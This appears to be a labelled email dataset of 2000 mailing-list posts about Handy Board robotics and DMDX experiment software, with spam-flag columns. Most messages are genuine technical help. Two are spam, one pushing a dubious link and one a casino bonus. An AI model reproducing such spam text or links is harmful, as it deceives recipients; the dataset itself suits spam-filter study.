DigitalVOX device when used with longer timeout values, say over 7000ms, I'm looking at it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Chuck McManis ,"""'handyboard@media.mit.edu'"" ","Wed, 26 Jan 2000 10:34:34 -0800",Re: colour sensor,"At 02:43 PM 1/26/00 +0000, E158 (M.FAZAL) wrote: >hi chuck >i tried using the photocells i got with the gleason research sensor motor >kit. i used red green and blue filter, but the values are almost same (with >a variation of 1 or 2). the variation is much more sensitive to the distance >between the sensor and the surface. what am i doing wrong? > >you also mentioned optical sensor. is that the same as the photocell? > >cheers >fazal I have typically used phototransistors rather than CDS photocells but both will work depending on the application. Sensors are like computer programs, when they do one thing they are fairly easy, if they do multiple things they are more complicated. The problem you are having with the photocells relates to their optical sensitivity. CDS photo cells are sensitive to light intensity, so you can think of the light intensity at a given ""distance"" from the cell as the DC bias. Now you subtract that bias from the base line and you get the variation due to color on top of it. In circuit terms you require an ""ac"" connection. Now in my circuit that I used to locate colored ""area"" on a playfield, the bias level was set by reading a known ""white"" area. I used a DC bias on an op-amp to generate a zero reading on white. Then a magnitude comparator to locate the ""colored"" area (red/green/grey). The output was essentially 1 ""bit"" (yes/no) on whether or not I was over a particular color. In the early 80's there was a company that used four photodiodes attached to a the top of a dot matrix printer print head that could ""scan"" color pictures at approximately 100 dots per inch. Their sensor was, in my mind, quite clever in that it used one of the diodes with no filter, and then one each covered by red, green, and blue. The diode with no filter would set the bias level and then they would extract the color information from the other three. If you wanted to try something similar you could use a CDS photocell without a filter in the negative feedback path of an opamp and the filtered cell on the input. Such a set up should be able to get you several levels of color information. The bottom line is, specify what you need to detect, figure out ways to eliminate as much background noise as possible, then amplify only enough to get a detection. (to much amplification re-introduces noise) --Chuck ",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 13:57:49 -0700",[DMDX],"Jonathan, Would an appropriate timeout setting be equivalent to your longest item's frame duration (given, as in my case, that your using ContinuousRun, and no items are contingent upon previous responses)? Clay On Tue, 25 Jan 2000, Jonathan C. Forster wrote: > At 03:44 PM 1/25/00 -0700, you wrote: > > My guess is that your error might be coming from the fact that the > timeout for responses is less than the durartion of the display meaning > that the item duration will be determined by something other than the > display, for example: > > =4599 *g""d:\\Iaps\\4599.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; > > Here you've got a display of 150 ticks over 1800ms which means that your > refresh rate has to be over 12ms (or under 83Hz) in order for the display > to be determining the duration of the item file, an 85Hz display would > break it. BTW, I can't see why you've got ""/,"", it's not going to > hurt but it should be ""/ "", or at least some fd thats a good deal > bigger than the timeout. > > > -jonathan (j.c.f.) ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 26 Jan 2000 15:09:24 -0700",[DMDX] Re: ,"At 01:57 PM 1/26/00 -0700, you wrote: >Jonathan, > >Would an appropriate timeout setting be equivalent to your longest item's >frame duration (given, as in my case, that your using ContinuousRun, and >no items are contingent upon previous responses)? You want the timeout to be well short of the item's duration. All items are contingent upon the previous items request, when is active the request is assumed to be received as soon as both a response has been received and the display is complete. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800",0,0 Tfawestrec@aol.com,XXXXXXXX@XXXX.XXXXXXX.XXX,"Wed, 26 Jan 2000 21:12:47 -0500",Teach For America,"One day, all children will have the opportunity to attain an excellent education. Please help us inspire Univ. of Oregon graduating seniors to consider Teach For America as a post-graduate option by forwarding this announcement about our upcoming info session. Thank you! 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Most trusted brands of the world, join the thousands of happy customers! Revel in : http://noinjures.com/dll/get/ delight, cartwheel Laughter is the closest distance between two people The sacrifice of the wicked is an abomination to the LORD: but the prayer of the upright is his delight. Tailors and writers must mind the fashion No wind, no waves ",1,1 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Wed, 26 Jan 2000 21:25:22 -0800",PID Control,"Has anyone out there developed a good PID control program in IC. I didn't want to reinvent the wheel if it was already available. Thanks Bill Denzel ",0,0 mike mcfarlane ,handyboard@media.mit.edu,"Thu, 27 Jan 2000 08:14:11 +0000",Re: PID Control,"Bill I have code in QuickBasic and C, would this be any good to you?? It was code that I used at Uni and both versions have been tested on real apps so I know they work. For example, I developed a pneumatic cyclinder controller based on the QB version. Let me know if you want either version. What is IC? Mike In lugnet.robotics.handyboard, ""Bill Denzel"" writes: >Has anyone out there developed a good PID control program in IC. I didn't >want to reinvent the wheel if it was already available. >",0,0 Igor Diko ,handyboard@media.mit.edu,"Thu, 27 Jan 2000 08:55:40 +0000",HandyBoard died,"Hi all! I have some troubles with my HB. I have set it up together with the expansion board, and it worked properly and very fine. Then once, unfortunately, the LCD, connected to the expansion board, touched one of the five motor-power diodes, and since then, the HB is dead. The LCD has gone, too. After this accident (and changing the LCD), I was only able to download the pcode, but after reseting the board, LCD shows nothing (the top row is full), and the board has synchronization problems. It is not able to download anything. I tried almost everything (replacing 68HC11, memory, checked the whole board, resoldered, using dl, dlm, even icwin), but no success. It seems to me like there is a problem with memory (board goes to bootstrap mode easily), but I can not find the reason. Thanks for any idea. Igor Bratislava, Slovakia ",0,0 Roger Hamlett ,handyboard@media.mit.edu,"Thu, 27 Jan 2000 10:19:20 +0000",Re: colour sensor,"In lugnet.robotics.handyboard, Chuck McManis writes: >At 02:43 PM 1/26/00 +0000, E158 (M.FAZAL) wrote: >>hi chuck >>i tried using the photocells i got with the gleason research sensor motor >>kit. i used red green and blue filter, but the values are almost same (with >>a variation of 1 or 2). the variation is much more sensitive to the distance >>between the sensor and the surface. what am i doing wrong? >> >>you also mentioned optical sensor. is that the same as the photocell? I posted to this yesterday, but my reply seems to have not appeared. What you need to have, is four sensors, not three. The fourth has no filter, and measures 'ambient' light. You then need to compare the return from this, to the other three sensors. You will have to amplify the signals from the three 'filtered' sensors, since they will be proportionately 'less'. So when the light level changes because of distance, this compensation factor changes with this, and you are looking at the relative returns for each colour. Best Wishes",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 27 Jan 2000 09:49:42 -0500",Re: colour sensor," I would suggest that the sensors are picking up IR. I would wager that your color filters are passing the IR with little attenuation and that your sensors are peaked in the IR region and little affected by the visible color information. If you have access to a CCD Camcorder, and an IR LED you can play with the filters a little. I think most CCD Camcorders are sensitive to IR. Look at the IR LED through the camera to see if you can see it glowing. If so, then place the color filter in the path to see how much the IR light is attenuated. I have recently done some experiments (color enlarger) with CdS cells and found that I can change their response using RGB color filters. I believe they are also sensitive to IR and UV, but they are substantially influenced by visible light, enough to show a difference when different color filters are introduced. American Science Surplus (Jerry Co.) recently advertised some large ones for a good price: http://www.sciplus.com/ Good Luck, Pherd Pensacola, FL ",0,1 Victor Ruiz/Mexico/IBM ,mcfarlane_mike@hotmail.com,"Thu, 27 Jan 2000 10:04:09 -0600",Re: PID Control,"Hi Mike: May I obtain also the code that you mentioned? I'm supposing the code was used at the HandyBoard? Thanks in advance for your help... Victor G. Ruiz Aranda ruizvic@mx1.ibm.com IBM de Mexico S.A. Coordinador IAS Planta de Manufactura T/L 877-7306. Ph Number 011-523-669-7306 I/T (Information Technology) Guadalajara, Jal. Mexico. ""mike mcfarlane"" @lugnet.com on 27/01/2000 02:14:11 AM Sent by: news-gateway@lugnet.com To: handyboard@media.mit.edu cc: Subject: Re: PID Control Bill I have code in QuickBasic and C, would this be any good to you?? It was code that I used at Uni and both versions have been tested on real apps so I know they work. For example, I developed a pneumatic cyclinder controller based on the QB version. Let me know if you want either version. What is IC? Mike In lugnet.robotics.handyboard, ""Bill Denzel"" writes: >Has anyone out there developed a good PID control program in IC. I didn't >want to reinvent the wheel if it was already available. >",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jan 2000 12:51:28 -0700",[DMDX],"Jonathan, An update: I've adjusted my command line as follows, to include the extended parameter line convention and to change my timeout and default frame duration: N202 0 I also tried running it with the Always Flush File Buffers both On and Off. Unfortunately, rather than 681 sec. my program now runs 858 sec. (there are no display errors listed in the output file). What's interesting to note is that all of my items which should run for 3000 ms are running exactly 4000, and all of my 6000 ms items are consistently running 7000 ms. Ideas? Clay ---------------------- Clay Fort Dept. of Psychiatry University of Arizona 520.626.2915 cfort@U.Arizona.edu",0,0 Stijn van Osselaer ,regier@uchicago.edu,"Thu, 27 Jan 2000 13:29:53 -0600",X-server,"Terry, The Win32 X-server approach seems to work fine. The free copy can be downloaded from Starnet (home page: www.starnet.com, evaluation download page: http://www.starnet.com/download/). A version of the same server can be downloaded from: ftp://ftp.informatik.uni-stuttgart.de/pub/SNNS/SNNSv4.1-Win32/X-Server/ Setting up the X-program: 1. Install the program the standard way. 2. Start up x-win32 to start the X server. 3. Click on x-util32 to configure a session. 4. In the window ""X-win32 utility"" click on ""sessions"" then on ""new session."" 5. Select connect using ""rexec"" 6. Put in session name (any name you like, e.g., ""cortex"") hostname ""cortex.spc.uchicago.edu"" and your login name (account name) 7. Put in password if you want, but for safety you may want to leave this blank. 8. Under ""command"" type ""xterm -ls -display $DISPLAY"" 9. Click on x-win32, select ""sessions,"" then the session you created (e.g., ""cortex"") Best wishes, Stijn ---------- Stijn van Osselaer Graduate School of Business University of Chicago 1101 East 58th Street Chicago, IL 60637 Tel: 773 834 2969 Fax: 773 702 0458 Email: stijn.vanosselaer@gsb.uchicago.edu ---------- ",0,1 Matt Austin ,Handy Board Mailing List ,"Thu, 27 Jan 2000 20:02:19 -0000",RE: PID Control,"This sounds like the sort of software that would be benifitial to everyone working with the Handyboard, perhaps it could be posted on the HB site? Fred? Reagrds, Matt > -----Original Message----- > From: Victor Ruiz/Mexico/IBM > [mailto:Victor_Ruiz/Mexico/IBM%IBMMX%@us.ibm.com] > Sent: 27 January 2000 16:04 > To: mcfarlane_mike@hotmail.com > Cc: handyboard > Subject: Re: PID Control > > > > Hi Mike: > May I obtain also the code that you mentioned? I'm supposing the code > was used at the HandyBoard? > > Thanks in advance for your help... > > Victor G. Ruiz Aranda ruizvic@mx1.ibm.com > IBM de Mexico S.A. > Coordinador IAS Planta de Manufactura > T/L 877-7306. Ph Number 011-523-669-7306 > I/T (Information Technology) Guadalajara, Jal. Mexico. > > > > ""mike mcfarlane"" @lugnet.com on 27/01/2000 > 02:14:11 AM > > Sent by: news-gateway@lugnet.com > > > To: handyboard@media.mit.edu > cc: > Subject: Re: PID Control > > > > Bill > > I have code in QuickBasic and C, would this be any good to you?? It was > code > that I used at Uni and both versions have been tested on real apps so I > know > they work. For example, I developed a pneumatic cyclinder controller based > on > the QB version. Let me know if you want either version. > > What is IC? > > Mike > > > In lugnet.robotics.handyboard, ""Bill Denzel"" > writes: > >Has anyone out there developed a good PID control program in IC. > I didn't > >want to reinvent the wheel if it was already available. > > > > > >",0,0 mike mcfarlane ,handyboard@media.mit.edu,"Thu, 27 Jan 2000 20:47:20 +0000",Re: PID Control,"> May I obtain also the code that you mentioned? I'm supposing the code >was used at the HandyBoard? Yep ... and no. The following was applied to a pneumatic cylinder controlled via an Amplicon Liveline I/O card and an SMC proportional valve (ie not Lego). code ********************************************* pidloop: 'e = error, sp = set point (desired value), pv = process value '(current value) 'x100 to convert to a percentage 'ie error is a percentage difference between your desired value and the 'current value e = (sp - pv) * 100 'a deadband is used to avoid hunting 'ie if the percentage error is small then do nothing (or loop here) 'deadband - initially set to 1 IF (e ^ 2) < .25 THEN GOTO pidloop 'sum the errors sum = sum + e 'this PID equn should work fine, there are a few different ones out 'there 'k = gain (speed of algorithm response), Dt = change in time (how 'often 'you run the PID algorithm), Ti = integral time (accuracy of response) 'Td = derivative time (stability of control), reqp = control effort 'as a % reqp = (k * e) + ((k * (Dt / Ti)) * sum) + ((k * (Td / Dt)) * (e - Eold)) 'clip the control effort to be a percentage between 0 and 100 ReqUnclip = reqp IF reqp < 0 THEN reqp = .1 IF reqp > 100 THEN reqp = 100 Eold = e GOTO pidloop END SUB ********************************************************* The output reqp is the value you should output from your controller to the system. e.g. Say you use a controller that has an output range of 0 to 10 V and reqp is 25%. Hence you out 2.5V. The value of K, Ti and Td will be different for each system controlled. One way to gain the values is with Ziegler and Nichols methods. Simple empirical methods. (see Integrated electrical and electronic engineering for mechanical engineers, C Fraser and J Milne, McGraw Hill, 1994, ISBN 0-07-707973-6). An example set of values for my pneumatic system were K = 5, Ti = 0.04, Td = 0.05. Set Dt, the time, to what you want, try 0.5 to 1 sec, depends on your system. I seem to remember I ran Dt at a few milliseconds for my app. Meant messing with the PC clock. Have code if you want it. Remember to only run the loop every Dt increment, it does not run continuously. I totally recommend the listed book. Superb sections on Basic and C programming, control theory and electronics. I am a bit biased as the authors were two of my Uni lecturers. I can also post details on Ziegler and Nichols methods if you want and I think I have a QB prog that allows you to play with the values and see their effect on the system. Also a pdf of my Masters that this was taken from that has info on the theory of PID and some of the testing I did with it. Just shout if you do not understand or want more help. It has been a couple of years since I looked at this stuff and so my comments may be a bit cryptic. Mike ps apologies for the formatting, pasted it in from notepad",0,0 Pete Johnson ,handyboard@media.mit.edu,"Thu, 27 Jan 2000 23:49:04 +0000",test,"Testing ",0,0 Mark Tarrabain ,handyboard@media.mit.edu,"Fri, 28 Jan 2000 02:34:44 +0000",Re: HandyBoard died,"I am sorry to hear about your situation, but I would like to point out that this sort of thing is exactly why the handyboard could, I believe, benefit from having a durable case made for it, which provides all access to the handyboard's (and expansion board's) I/O on the outside of case (via connectors, etc... or in the case the the LCD display, a transparent plastic cover), and one never need come in direct contact with the bare board again, once the handyboard has been installed into this case. I can only presume that there are not enough handyboards out there yet to make such a product a viable commercial venture, but I know I would sure appreciate something like that. >> Mark ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jan 2000 22:16:07 -0700",[DMDX] Re: ,"At 12:51 PM 1/27/00 -0700, you wrote: >Jonathan, > >An update: >I've adjusted my command line as follows, to include the extended >parameter line convention and to change my timeout and default frame >duration: > > N202 0 > > > > >I also tried running it with the Always Flush File Buffers both On and >Off. > >Unfortunately, rather than 681 sec. my program now runs 858 sec. (there >are no display errors listed in the output file). > >What's interesting to note is that all of my items which should run for >3000 ms are running exactly 4000, and all of my 6000 ms items are >consistently running 7000 ms. What do you calculate your refresh duration to be? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I haven't a particle of confidence in a man who has no redeeming petty vices. - Mark Twain ""Answers to Correspondents""",0,0 Rosella ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Jan 2000 22:02:27 -0400",Fortune smiled on us,"$888 FREE B0NUS The luckiestB0nus on the Net! 60+ CAZINOGAMES Highest Jackp0t Ever $1,700,000 Live WebCam Pretty Dealers ;) _c1ick_here_and test your F00RTUNE! Making their way quickly through the tall grass and weeds, they stopped at the living room window and peered in. Thunder rumbled, low and long, in the distance. Greg thought he saw another creature scuttle through the weeds around the corner of the house.",1,1 """E158 (M.FAZAL)"" ","""'handyboard@media.mit.edu'"" ","Fri, 28 Jan 2000 16:05:58 -0000",ratings of stepper and servo motors,"hi all what are the ratings (voltages and currents loads) of stepper and servo motors compatible with the handy board. cheers fazal ",0,0 """C. Fort"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Jan 2000 11:08:05 -0700",[DMDX],"On Thu, 27 Jan 2000, j.c.f. wrote: > At 12:51 PM 1/27/00 -0700, you wrote: > > > >Unfortunately, rather than 681 sec. my program now runs 858 sec. (there > >are no display errors listed in the output file). > > > >What's interesting to note is that all of my items which should run for > >3000 ms are running exactly 4000, and all of my 6000 ms items are > >consistently running 7000 ms. > > What do you calculate your refresh duration to be? > > -jonathan (j.c.f.) That occurred to me, too, but each time I run a program, I check the refresh rate, and it's always 16.69 (60Hz), which is what I've based my frame durations on. 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""Scan 1"" 6000 ms, Instruction 3000 ms, IAPS 500 ms, PUN or IOU 2500 ms, 88888 (Fixation) 6000 ms., Total = 861000 ms.; 0 "" Experiment Ready ""; =99999 *< fd 355> ""Scan 1""/; !Set 6; !6 Pleas A; =11111 * ""Pleasant, Unpleasant, or Neither ?""/; =4660 *g""d:\\Iaps\\4660.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =1463 *g""d:\\Iaps\\1463.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =2391 *g""d:\\Iaps\\2391.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =7900 *g""d:\\Iaps\\7900.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =7390 *g""d:\\Iaps\\7390.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =4599 *g""d:\\Iaps\\4599.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =88888 *g""d:\\Iaps\\Crosshair.bmp ""/, g""d:\\Iaps\\FixC.bmp""/, g""d:\\Iaps\\Crosshair.bmp ""/; ...23 more of them... !4 Mix Ext; =11111 * "" Indoors, Outdoors, or Not Sure ?""/; =5300 *g""d:\\Iaps\\5300.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =8120 *g""d:\\Iaps\\8120.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =7010 *g""d:\\Iaps\\7010.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =2692 *g""d:\\Iaps\\2692.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =2682 *g""d:\\Iaps\\2682.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =3210 *g""d:\\Iaps\\3210.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =counting *g""d:\\Iaps\\Crosshair.bmp ""/, g""d:\\Iaps\\FixA.bmp""/, g""d:\\Iaps\\Crosshair.bmp ""/; =9999 *""End Scan 1""/; This one has a in it so it's simply going to run as rapidly as possible so our timing figures are only going to be approximate. Each of those frames is going to have at least one more tick per as DMDX can't assemble and schedule and start displaying a whole item in a tick. So we've got: 355 + 1 + ( 152 + 1 + ( 28 + 129 + 1 ) * 6 + 58 + 232 + 58 + 1 ) * 25 + 150 Which makes at least 36756 frames, how much extra is unknown because of the that . Which makes 613.457 seconds as far as my calculator is concerned. Unfortunately the listserver seems to barf on whatever your email message format is and I can't see what you calculated this one's duration to be but as near as I can tell 613 seconds wasn't a figure you listed. The second item file has the structure: N202 0 ! ""Scan 1"" 6000 ms, Instruction 3000 ms, IAPS 500 ms, PUN or IOU 2500 ms, 88888 (Fixation) 6000 ms., Total = 861000 ms.; 0 "" Experiment Ready ""; =99999 *< fd 360> ""Scan 1""/; !Set 6; !6 Pleas A; =11111 * ""Pleasant, Unpleasant, or Neither ?""/; =4660 *g""d:\\Iaps\\4660.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =1463 *g""d:\\Iaps\\1463.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =2391 *g""d:\\Iaps\\2391.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =7900 *g""d:\\Iaps\\7900.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =7390 *g""d:\\Iaps\\7390.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =4599 *g""d:\\Iaps\\4599.bmp""/, g""d:\\Iaps\\PUN2.bmp""/; =88888 *g""d:\\Iaps\\Crosshair.bmp""/; ...24 more of them.... !4 Mix Ext; =11111 * "" Indoors, Outdoors, or Not Sure ?""/; =5300 *g""d:\\Iaps\\5300.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =8120 *g""d:\\Iaps\\8120.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =7010 *g""d:\\Iaps\\7010.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =2692 *g""d:\\Iaps\\2692.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =2682 *g""d:\\Iaps\\2682.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =3210 *g""d:\\Iaps\\3210.bmp""/, g""d:\\Iaps\\IOU2.bmp""/; =88888 *g""d:\\Iaps\\Crosshair.bmp""/; =9999 *""End Scan 1""/; This one should yeild much more consistant results as it has a in it. It should give the following: 360 + 48 + ( 180 + 48 + ( 30 + 150 + 48 ) * 6 + 360 + 48 ) * 26 + 150 I get 52662 frames for 878.928 seconds. You indicate that this in fact takes 858 seconds which is an extra 8 ticks per item. I haven't ever tried to double check the duration of a whole item file before so I have no idea where this comes from, I'll put it on the to be verified list. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I haven't a particle of confidence in a man who has no redeeming petty vices. - Mark Twain ""Answers to Correspondents""",0,0 Stacey Kuan ,DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 14:08:47 -0500",[DMDX],"HI all, I can't seem to get DMDX to run on my machine. Twice I've downloaded the program to my Pentium II PC and installed it and run through the setting up procedures. Then when I try it out on a script I know works on the uni computers, I get the error message: ERROR Create surface failed! DDERR_GENERIC (80004005) Generic failure. Does anybody know anything about what this means or what I should do? (I've attached the DMDX script I used) Thanx, Suan * * *** Who then are the true philosophers? *** * * ** Those who are lovers of the vision of truth --- Plato ** http://www.maccs.mq.edu.au/~stacey/wisdom.htm ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 08:36:23 -0700",[DMDX] Re: ,"At 02:08 PM 1/31/00 EST, you wrote: >HI all, > >I can't seem to get DMDX to run on my machine. Twice I've downloaded the >program to my Pentium II PC and installed it and run through the setting up >procedures. Then when I try it out on a script I know works on the uni >computers, I get the error message: > >ERROR >Create surface failed! >DDERR_GENERIC (80004005) >Generic failure. > >Does anybody know anything about what this means or what I should do? > >(I've attached the DMDX script I used) Didn't see the attachment, dunno that it would survive going through the listserver in anyway. As for your problem, it's not likely to be a scripting error unless you are trying to use some unusual video mode, it's more likely to be a limitation in the video hardware on your machine. It's unusual to find a machine that TimeDX runs on and that DMDX fails on, but not impossible. Usually the problem centers around one of two things, either the video card doesn't have enough memory (as IIRC TimeDX doesn't ever setup multiple ""flippable"" pages of video memory like DMDX does) but there's usually an error that specifically indicates this or the drivers for your video card just aren't up to snuff and just plain can't do what DMDX wants to do which sounds like the problem you are experiencing in which case getting an updated DirectX or video card driver should solve your problem. Could be that the hardware in your machine is just too antiquated and no amount of new software is going to fix it in which case you'll have to get a new video card. Could be that your script calls for a 16bit or 32bit video mode that through some miracle TimeDX can display but when DMDX goes to do it's thing the card doesn't support it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I haven't a particle of confidence in a man who has no redeeming petty vices. - Mark Twain ""Answers to Correspondents"" ",0,0 Boris New ,DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 18:20:49 +0100",[DMDX]," Finally my script seemed to to work with the delay in the first frame. But now a new thing appeared: Here I've got two machines, the two with a sb32 and win 98 (and I installed the same new drivers from creative (but nevertheless it displays a different driver version and the same files versions )). On one machine the script lets the stimuli until the subject gave his response, while on the other not (the stimulus disappears even if the mic is not plugged). Would you have an idea? Boris ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 11:00:38 -0700",[DMDX] C Fort's item file time," Hmm, thought I had it figured it out. My calculated time for execution of the second item file (I thought) was 21 seconds shy (actually it's 21 seconds over) so I was thinking maybe the comments were taking a default delay (the code certainly looks like they might) so divided that by 26 (the number of comments) times the frame duration and whoa, the magic number 48 (the value of the delay parameter) pops out of the calculator! But alas, the observed exection time is 21 seconds under my estimate. All is not lost however, it could be that the comments are somehow undermining the scheduling, I would advise trying the S#008Scan1testA.rtf itemfile without the comments and see if the exection time goes up 21 seconds to my anticipated 878 seconds. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 11:05:09 -0700",[DMDX] Re: ,"At 06:20 PM 1/31/00 +0100, you wrote: > > >Finally my script seemed to to work with the delay in the first frame. But >now a new thing appeared: Here I've got two machines, the two with a sb32 >and win 98 (and I installed the same new drivers from creative (but >nevertheless it displays a different driver version and the same files >versions )). >On one machine the script lets the stimuli until the subject gave his >response, while on the other not (the stimulus disappears even if the mic >is not plugged). > >Would you have an idea? Depends what your item file looks like. Other than that in almost all cases (in other words I can't recall an instance where this has not been the case) you are not in fact running the same item file. Ken came in the other day complaining about much the same thing and that there was no chance that they were in fact not running the same item file and were getting different behaviour on different machines but when all was said and done he was in fact using different copies of the item file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""There are three principal ways to lose money: wine, women, and engineers. While the first two are more pleasant, the third is by far the more certain."" - Baron Rothschild, ca. 1800 ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 12:00:23 -0700",[DMDX] Re: DDERR_GENERIC,"At 02:08 PM 1/31/00 EST, Stacey Kuan wrote: >HI all, > >I can't seem to get DMDX to run on my machine. Twice I've downloaded the >program to my Pentium II PC and installed it and run through the setting up >procedures. Then when I try it out on a script I know works on the uni >computers, I get the error message: > >ERROR >Create surface failed! >DDERR_GENERIC (80004005) >Generic failure. > >Does anybody know anything about what this means or what I should do? I had a very similar error yesterday, setting up my new Compaq ultra slim notebook to run DMDX. I noticed that when I ran TimeDX and selected the Video Driver option, TimeDX came up with three or four drivers, one of which was already highlighted. I figured that must be the right one, but when I tried to run DMDX, I got the DDERR_GENERIC message. I went back to TimeDX and selected a different driver, and then everything was OK. Hope this helps. --Ken ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 12:59:51 -0700",[DMDX] DigitalVox ," For those of you with trouble using DigitalVox device and long RTs (like 7000ms and up) my testing indicates that the problem occurs on every second item and also that the problems go away if the RecordVocal device is used as well. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No problem is too big it can't be run away from - Linus ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 31 Jan 2000 15:12:05 -0700",[DMDX] DigitalVox and 1.1.15," Ok, the Digital Vox is fixed in 1.1.15. It was broken because DMDX didn't wait for the DirectSoundCaptureBuffer to finish at the end of each item, it would if the RecordVocal device was used in conjunction (it has to, can't write out the data till it's recorded) but not if just the DigitalVox was used. And you're thinking why should it? Because the DirectSoundCapture stuff only just works and I designed the DigitalVox assuming it really worked, to wit, I assumed that if you stopped a buffer recording it's pointers would all reset and the next time you started recording it would start filling the buffer at it's beginning. Well it doesn't, it starts filling where you stopped it -- which makes a lot of sense if you are using a circular buffer and none whatsoever if using a regular buffer like DMDX uses. The upshot? If you set a timelimit of 60000 DMDX will wait for 60000ms when using either the RecordVocal device or the DigitalVox device is used, like it was supposed to when I originally released it, regardless of when the DigitalVox triggers. I'm looking at the code to see whether a circular buffer is feasable, I didn't write one originally as timeout values I was anticipating were in several second range, not the minute range and therefore waiting for the buffer to finish was no big deal (even if I did forget to put the code in that waited when only the DigitalVox was used). Note, unless I include a new option for RecordVocal, it will still always wait the full timeout value. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ No problem is too big it can't be run away from - Linus ",0,0 tcyeong tcyeong ,play99@media.mit.edu,"Tue, 01 Feb 2000 04:23:45 -0800",trust helpful contact,"Detecting counter Basic Idea The prototype for this project is sensor system design to detecting as well as counting the number of people entering in and going out at i.e., seminar hall's gates. One is Up Counter use for counting the number of people entering in ; One is Down Counter counting the number of vacation where leaving space still having. This following a LED light up and a buzzer sound indicate that Up Counter counted to the full position seats ( i.e., 300 places ). Figure Dear sir, Please let me know how to make this hardware system for the process on Infrared emitters to PIC 16F84 then to (2*16) LCD (Input) (Main Heart) (Output) This is very important for me to learn it. Hopefully can receive your message as helpful as possible ! Thank you very much for your kind help ! Sincerely yours, TRON Y. ORINO __________________________________________________ Do You Yahoo!? Talk to your friends online with Yahoo! Messenger. http://im.yahoo.com",0,1 CHOI DAMEE ,Bill Denzel ,"Tue, 01 Feb 2000 12:53:06 -0500",RE: More servo stuff,"Hi. We have a problem with servo as well. When we test one servo motor, it works just fine. But when we test more than one, the speed of each servo decreases. Does anyone have similar problem? Thanks for your help. Damee Choi ",0,0 Boris New ,DMDX@psy1.psych.arizona.edu,"Tue, 01 Feb 2000 21:17:18 +0100","[DMDX] Re: RecordVocal, Display Problem, and Delay","I spoke a little too fast: with the delay switch in the first frame I've got always a problem with the script below: I wanted to use delay because we're running this experiment on different machines and I wanted to have the most similar timings as possible. I removed the scramble specifications and saw that there was always an error on the trial number twelve (""ea""r: the picture disappears before I said it). (it was'nt a script error because I placed another good trial in this position and the problem stayed) After this item some trials were good, and some were a complete mess. But this was repeated. So I put the delay in the parameters (delay 120 that should be largely enough) or remove all the delay switches and then, I'd got in one case on five a display error (refused video flips). Here is the beginning of the original script: < AzkiiResponses>< ContinuousRun>< MapRequest +Espace>< MapPositiveResponse +DigitalVox>< DefaultBackgroundColor 255255255> < DefaultWritingColor 0> $0 ""Presser la barre d'espace"", ""pour commencer"";$ $+500 //""+""/*< Timeout 